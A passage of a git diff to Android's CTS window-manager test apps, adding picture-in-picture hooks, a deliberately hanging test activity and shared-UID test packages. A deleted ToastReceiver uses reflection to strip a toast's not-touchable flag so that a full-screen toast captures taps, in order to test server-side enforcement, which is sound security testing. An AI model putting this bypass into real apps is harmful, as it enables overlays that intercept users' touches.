+ public static final ComponentName UNRESPONSIVE_ACTIVITY = component("UnresponsiveActivity");
public static final ComponentName VIRTUAL_DISPLAY_ACTIVITY =
component("VirtualDisplayActivity");
public static final ComponentName VR_TEST_ACTIVITY = component("VrTestActivity");
@@ -168,8 +168,8 @@
public static final ComponentName LAUNCH_BROADCAST_RECEIVER =
component("LaunchBroadcastReceiver");
- public static final ComponentName TOAST_RECEIVER =
- component("ToastReceiver");
+ public static final ComponentName CLICKABLE_TOAST_ACTIVITY =
+ component("ClickableToastActivity");
public static class LaunchBroadcastReceiver {
public static final String LAUNCH_BROADCAST_ACTION =
@@ -223,6 +223,9 @@
public static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
public static final String EXTRA_CONFIGURATION = "configuration";
public static final String EXTRA_CONFIG_ASSETS_SEQ = "config_assets_seq";
+ public static final String EXTRA_INTENTS = "intents";
+ public static final String EXTRA_NO_IDLE = "no_idle";
+ public static final String COMMAND_START_ACTIVITIES = "start_activities";
}
/**
@@ -276,6 +279,12 @@
public static final String EXTRA_FONT_ACTIVITY_DPI = "fontActivityDpi";
}
+ /** Extra key constants for {@link android.server.wm.app.TurnScreenOnActivity}. */
+ public static class TurnScreenOnActivity {
+ // Turn on screen by window flags or APIs.
+ public static final String EXTRA_USE_WINDOW_FLAGS = "useWindowFlags";
+ }
+
/**
* Logging constants for {@link android.server.wm.app.KeyguardDismissLoggerCallback}.
*
@@ -336,6 +345,9 @@
"android.server.wm.app.PipActivity.set_requested_orientation";
// Intent action that will finish this activity
public static final String ACTION_FINISH = "android.server.wm.app.PipActivity.finish";
+ // Intent action that will request that the activity enters picture-in-picture.
+ public static final String ACTION_ON_PIP_REQUESTED =
+ "android.server.wm.app.PipActivity.on_pip_requested";
// Adds an assertion that we do not ever get onStop() before we enter picture in picture
public static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP =
@@ -350,6 +362,12 @@
"enter_pip_aspect_ratio_denominator";
// Calls requestAutoEnterPictureInPicture() with the value provided
public static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+ // Calls requestAutoEnterPictureInPicture() with the value provided
+ public static final String EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT =
+ "enter_pip_on_user_leave_hint";
+ // Calls requestAutoEnterPictureInPicture() with the value provided
+ public static final String EXTRA_ENTER_PIP_ON_PIP_REQUESTED =
+ "enter_pip_on_pip_requested";
// Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
public static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
// Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
@@ -389,7 +407,18 @@
*/
public static class TopActivity {
public static final String EXTRA_FINISH_DELAY = "FINISH_DELAY";
+ public static final String EXTRA_FINISH_IN_ON_CREATE = "FINISH_IN_ON_CREATE";
public static final String EXTRA_TOP_WALLPAPER = "USE_WALLPAPER";
+ public static final String ACTION_CONVERT_TO_TRANSLUCENT = "convert_to_translucent";
+ public static final String ACTION_CONVERT_FROM_TRANSLUCENT = "convert_from_translucent";
+ }
+
+ public static class UnresponsiveActivity {
+ public static final String EXTRA_ON_CREATE_DELAY_MS = "ON_CREATE_DELAY_MS";
+ public static final String EXTRA_DELAY_UI_THREAD_MS = "DELAY_UI_THREAD_MS";
+ public static final String EXTRA_ON_KEYDOWN_DELAY_MS = "ON_KEYDOWN_DELAY_MS";
+ public static final String EXTRA_ON_MOTIONEVENT_DELAY_MS = "ON_MOTIONEVENT_DELAY_MS";
+ public static final String PROCESS_NAME = ".unresponsive_activity_process";
}
/**
@@ -416,7 +445,7 @@
public static final String COMMAND_RESIZE_DISPLAY = "resize_display";
}
- public static class ToastReceiver {
+ public static class ClickableToastActivity {
public static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
public static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 5f9dcc1..b2b76e7 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -23,6 +23,7 @@
import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
+import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
import static android.server.wm.app.Components.PipActivity.ACTION_SET_REQUESTED_ORIENTATION;
import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_DISMISS_KEYGUARD;
@@ -30,6 +31,8 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
@@ -55,6 +58,7 @@
import android.os.Bundle;
import android.os.Handler;
import android.os.SystemClock;
+import android.server.wm.CommandSession;
import android.util.Log;
import android.util.Rational;
@@ -101,6 +105,9 @@
case ACTION_FINISH:
finish();
break;
+ case ACTION_ON_PIP_REQUESTED:
+ onPictureInPictureRequested();
+ break;
}
}
}
@@ -185,6 +192,7 @@
filter.addAction(ACTION_EXPAND_PIP);
filter.addAction(ACTION_SET_REQUESTED_ORIENTATION);
filter.addAction(ACTION_FINISH);
+ filter.addAction(ACTION_ON_PIP_REQUESTED);
registerReceiver(mReceiver, filter);
// Don't dump configuration when entering PIP to avoid the verifier getting the intermediate
@@ -240,6 +248,24 @@
}
@Override
+ protected void onUserLeaveHint() {
+ super.onUserLeaveHint();
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT)) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
+ }
+
+ @Override
+ public void onPictureInPictureRequested() {
+ onCallback(CommandSession.ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED);
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_PIP_REQUESTED)) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ return;
+ }
+ super.onPictureInPictureRequested();
+ }
+
+ @Override
public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
Configuration newConfig) {
super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshActivity.java
deleted file mode 100644
index b36558d..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.app;
-
-import android.os.Bundle;
-
-/**
- * An activity containing a SwipeRefreshLayout which prevents activity idle.
- */
-public class SwipeRefreshActivity extends AbstractLifecycleLogActivity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(new SwipeRefreshLayout(this));
- }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshLayout.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshLayout.java
deleted file mode 100644
index 698aa89..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshLayout.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.app;
-
-import android.content.Context;
-import android.util.AttributeSet;
-
-/**
- * An extension of {@link androidx.swiperefreshlayout.widget.SwipeRefreshLayout} that calls
- * {@link #setRefreshing} during construction, preventing activity idle.
- */
-public class SwipeRefreshLayout extends androidx.swiperefreshlayout.widget.SwipeRefreshLayout {
- public SwipeRefreshLayout(Context context) {
- super(context);
- initialize();
- }
-
- public SwipeRefreshLayout(Context context, AttributeSet attrs) {
- super(context, attrs);
- initialize();
- }
-
- private void initialize() {
- setRefreshing(true);
- }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java
deleted file mode 100644
index 9ef6c3a..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.app;
-
-import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
-import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Handler;
-import android.os.SystemClock;
-import android.view.Gravity;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.WindowManager.LayoutParams;
-import android.widget.Toast;
-
-import java.lang.ref.WeakReference;
-import java.lang.reflect.Field;
-
-public class ToastReceiver extends BroadcastReceiver {
- private static final int DETECT_TOAST_TIMEOUT_MS = 15000;
- private static final int DETECT_TOAST_POOLING_INTERVAL_MS = 200;
-
- @Override
- public void onReceive(Context context, Intent intent) {
- Handler handler = new Handler();
- Toast toast = getToast(context);
- long deadline = SystemClock.uptimeMillis() + DETECT_TOAST_TIMEOUT_MS;
- handler.post(
- new DetectToastRunnable(
- context.getApplicationContext(), toast.getView(), deadline, handler));
- toast.show();
- }
-
- private Toast getToast(Context context) {
- Context applicationContext = context.getApplicationContext();
- View view = LayoutInflater.from(context).inflate(R.layout.toast, null);
- view.setOnTouchListener((v, event) -> {
- applicationContext.sendBroadcast(new Intent(ACTION_TOAST_TAP_DETECTED));
- return false;
- });
- Toast toast = getClickableToast(context);
- toast.setView(view);
- toast.setGravity(Gravity.FILL_HORIZONTAL | Gravity.FILL_VERTICAL, 0, 0);
- toast.setDuration(Toast.LENGTH_LONG);
- return toast;
- }
-
- /**
- * Purposely creating a toast without FLAG_NOT_TOUCHABLE in the client-side (via reflection) to
- * test enforcement on the server-side.
- */
- private Toast getClickableToast(Context context) {
- try {
- Toast toast = new Toast(context);
- Field tnField = Toast.class.getDeclaredField("mTN");
- tnField.setAccessible(true);
- Object tnObject = tnField.get(toast);
- Field paramsField = Class.forName(
- Toast.class.getCanonicalName() + "$TN").getDeclaredField("mParams");
- paramsField.setAccessible(true);
- LayoutParams params = (LayoutParams) paramsField.get(tnObject);
- params.flags = LayoutParams.FLAG_KEEP_SCREEN_ON | LayoutParams.FLAG_NOT_FOCUSABLE;
- return toast;
- } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
- throw new IllegalStateException("Toast reflection failed", e);
- }
- }
-
- private static class DetectToastRunnable implements Runnable {
- private final Context mContext;
- private final WeakReference<View> mToastViewRef;
- private final long mDeadline;
- private final Handler mHandler;
-
- private DetectToastRunnable(
- Context applicationContext, View toastView, long deadline, Handler handler) {
- mContext = applicationContext;
- mToastViewRef = new WeakReference<>(toastView);
- mDeadline = deadline;
- mHandler = handler;
- }
-
- @Override
- public void run() {
- View toastView = mToastViewRef.get();
- if (SystemClock.uptimeMillis() > mDeadline || toastView == null) {
- return;
- }
- if (toastView.getParent() != null) {
- mContext.sendBroadcast(new Intent(ACTION_TOAST_DISPLAYED));
- return;
- }
- mHandler.postDelayed(this, DETECT_TOAST_POOLING_INTERVAL_MS);
- }
- }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
index 295b7f8..4cdc421 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
@@ -16,7 +16,10 @@
package android.server.wm.app;
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_FROM_TRANSLUCENT;
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_DELAY;
+import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_IN_ON_CREATE;
import static android.server.wm.app.Components.TopActivity.EXTRA_TOP_WALLPAPER;
import android.os.Bundle;
@@ -46,5 +49,23 @@
finish();
}, finishDelay);
}
+
+ if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_CREATE, false)) {
+ finish();
+ }
+ }
+
+ @Override
+ public void handleCommand(String command, Bundle data) {
+ switch(command) {
+ case ACTION_CONVERT_TO_TRANSLUCENT:
+ TopActivity.this.setTranslucent(true);
+ break;
+ case ACTION_CONVERT_FROM_TRANSLUCENT:
+ TopActivity.this.setTranslucent(false);
+ break;
+ default:
+ super.handleCommand(command, data);
+ }
}
}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
index af827cd..3c82695 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
@@ -16,17 +16,22 @@
package android.server.wm.app;
-import android.app.Activity;
import android.os.Bundle;
import android.view.WindowManager;
-public class TurnScreenOnActivity extends Activity {
+public class TurnScreenOnActivity extends AbstractLifecycleLogActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
- | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
- | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
- | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
super.onCreate(savedInstanceState);
+
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ if (getIntent().getBooleanExtra(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
+ false /* defaultValue */)) {
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+ } else {
+ setShowWhenLocked(true);
+ setTurnScreenOn(true);
+ }
}
}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java
new file mode 100644
index 0000000..1a13255
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_DELAY_UI_THREAD_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_KEYDOWN_DELAY_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+public class UnresponsiveActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final int delay = getIntent().getIntExtra(EXTRA_ON_CREATE_DELAY_MS, 0);
+ SystemClock.sleep(delay);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ final int delay = getIntent().getIntExtra(EXTRA_DELAY_UI_THREAD_MS, 0);
+ final Handler handler = new Handler();
+ handler.postDelayed(() -> {
+ SystemClock.sleep(delay);
+ }, 100);
+
+ }
+
+ @Override
+ public boolean onKeyDown(int keyCode, KeyEvent event) {
+ final int delay = getIntent().getIntExtra(EXTRA_ON_KEYDOWN_DELAY_MS, 0);
+ SystemClock.sleep(delay);
+ return super.onKeyDown(keyCode, event);
+ }
+
+ @Override
+ public boolean onTouchEvent(MotionEvent event) {
+ final int delay = getIntent().getIntExtra(EXTRA_ON_MOTIONEVENT_DELAY_MS, 0);
+ SystemClock.sleep(delay);
+ return super.onGenericMotionEvent(event);
+ }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java
index 269a151..e8019aa 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java
@@ -21,6 +21,7 @@
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
import static android.server.wm.ActivityLauncher.KEY_DISPLAY_ID;
import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
+import static android.server.wm.ActivityLauncher.KEY_NEW_TASK;
import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.app.Components.VirtualDisplayActivity.COMMAND_CREATE_DISPLAY;
@@ -255,6 +256,7 @@
extras.putBoolean(KEY_LAUNCH_ACTIVITY, true);
extras.putString(KEY_TARGET_COMPONENT, getActivityName(activityName));
extras.putInt(KEY_DISPLAY_ID, displayId);
+ extras.putBoolean(KEY_NEW_TASK, true);
ActivityLauncher.launchActivityFromExtras(this, extras);
}
}
diff --git a/tests/framework/base/windowmanager/appAShareUid/Android.bp b/tests/framework/base/windowmanager/appAShareUid/Android.bp
new file mode 100644
index 0000000..f85c782
--- /dev/null
+++ b/tests/framework/base/windowmanager/appAShareUid/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsDeviceServicesTestShareUidAppA",
+ defaults: ["cts_support_defaults"],
+
+ static_libs: ["cts-wm-app-base"],
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
new file mode 100644
index 0000000..0446e1c
--- /dev/null
+++ b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.shareuid.a"
+ android:sharedUserId="android.server.wm.shareuid">
+
+ <application>
+ <activity
+ android:name=".TestActivityWithSameAffinity"
+ android:exported="true"
+ android:taskAffinity="nobody.but.TestActivityWithSameAffinity" />
+ <activity
+ android:name=".TestActivityWithSameAffinitySameApp"
+ android:exported="true"
+ android:taskAffinity="nobody.but.TestActivityWithSameAffinity" />
+ </application>
+
+</manifest>
diff --git a/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/Components.java b/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/Components.java
new file mode 100644
index 0000000..16644a5
--- /dev/null
+++ b/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/Components.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shareuid.a;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+ public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY =
+ component("TestActivityWithSameAffinity");
+
+ public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY_SAME_APP =
+ component("TestActivityWithSameAffinitySameApp");
+
+ private static ComponentName component(String className) {
+ return component(Components.class, className);
+ }
+
+}
diff --git a/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/TestActivityWithSameAffinity.java b/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/TestActivityWithSameAffinity.java
new file mode 100644
index 0000000..6071a60
--- /dev/null
+++ b/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/TestActivityWithSameAffinity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shareuid.a;
+
+import android.server.wm.app.TestActivity;
+
+public class TestActivityWithSameAffinity extends TestActivity { }
diff --git a/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/TestActivityWithSameAffinitySameApp.java b/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/TestActivityWithSameAffinitySameApp.java
new file mode 100644
index 0000000..de6744c
--- /dev/null
+++ b/tests/framework/base/windowmanager/appAShareUid/src/android/server/wm/shareuid/a/TestActivityWithSameAffinitySameApp.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shareuid.a;
+
+import android.server.wm.app.TestActivity;
+
+public class TestActivityWithSameAffinitySameApp extends TestActivity { }
diff --git a/tests/framework/base/windowmanager/appBShareUid/Android.bp b/tests/framework/base/windowmanager/appBShareUid/Android.bp
new file mode 100644
index 0000000..5cb7ad3
--- /dev/null
+++ b/tests/framework/base/windowmanager/appBShareUid/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsDeviceServicesTestShareUidAppB",
+ defaults: ["cts_support_defaults"],
+
+ static_libs: ["cts-wm-app-base"],
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
new file mode 100644
index 0000000..8586006
--- /dev/null
+++ b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.shareuid.b"
+ android:sharedUserId="android.server.wm.shareuid">
+
+ <application>
+ <activity
+ android:name=".TestActivityWithSameAffinityShareUid"
+ android:exported="true"
+ android:taskAffinity="nobody.but.TestActivityWithSameAffinity"
+ />
+ </application>
+
+</manifest>
diff --git a/tests/framework/base/windowmanager/appBShareUid/src/android/server/wm/shareuid/b/Components.java b/tests/framework/base/windowmanager/appBShareUid/src/android/server/wm/shareuid/b/Components.java
new file mode 100644
index 0000000..ff65743
--- /dev/null
+++ b/tests/framework/base/windowmanager/appBShareUid/src/android/server/wm/shareuid/b/Components.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shareuid.b;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+ public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY_SHARE_UID =
+ component("TestActivityWithSameAffinityShareUid");
+
+ private static ComponentName component(String className) {
+ return component(Components.class, className);
+ }
+
+}
diff --git a/tests/framework/base/windowmanager/appBShareUid/src/android/server/wm/shareuid/b/TestActivityWithSameAffinityShareUid.java b/tests/framework/base/windowmanager/appBShareUid/src/android/server/wm/shareuid/b/TestActivityWithSameAffinityShareUid.java
new file mode 100644
index 0000000..52ed21f
--- /dev/null
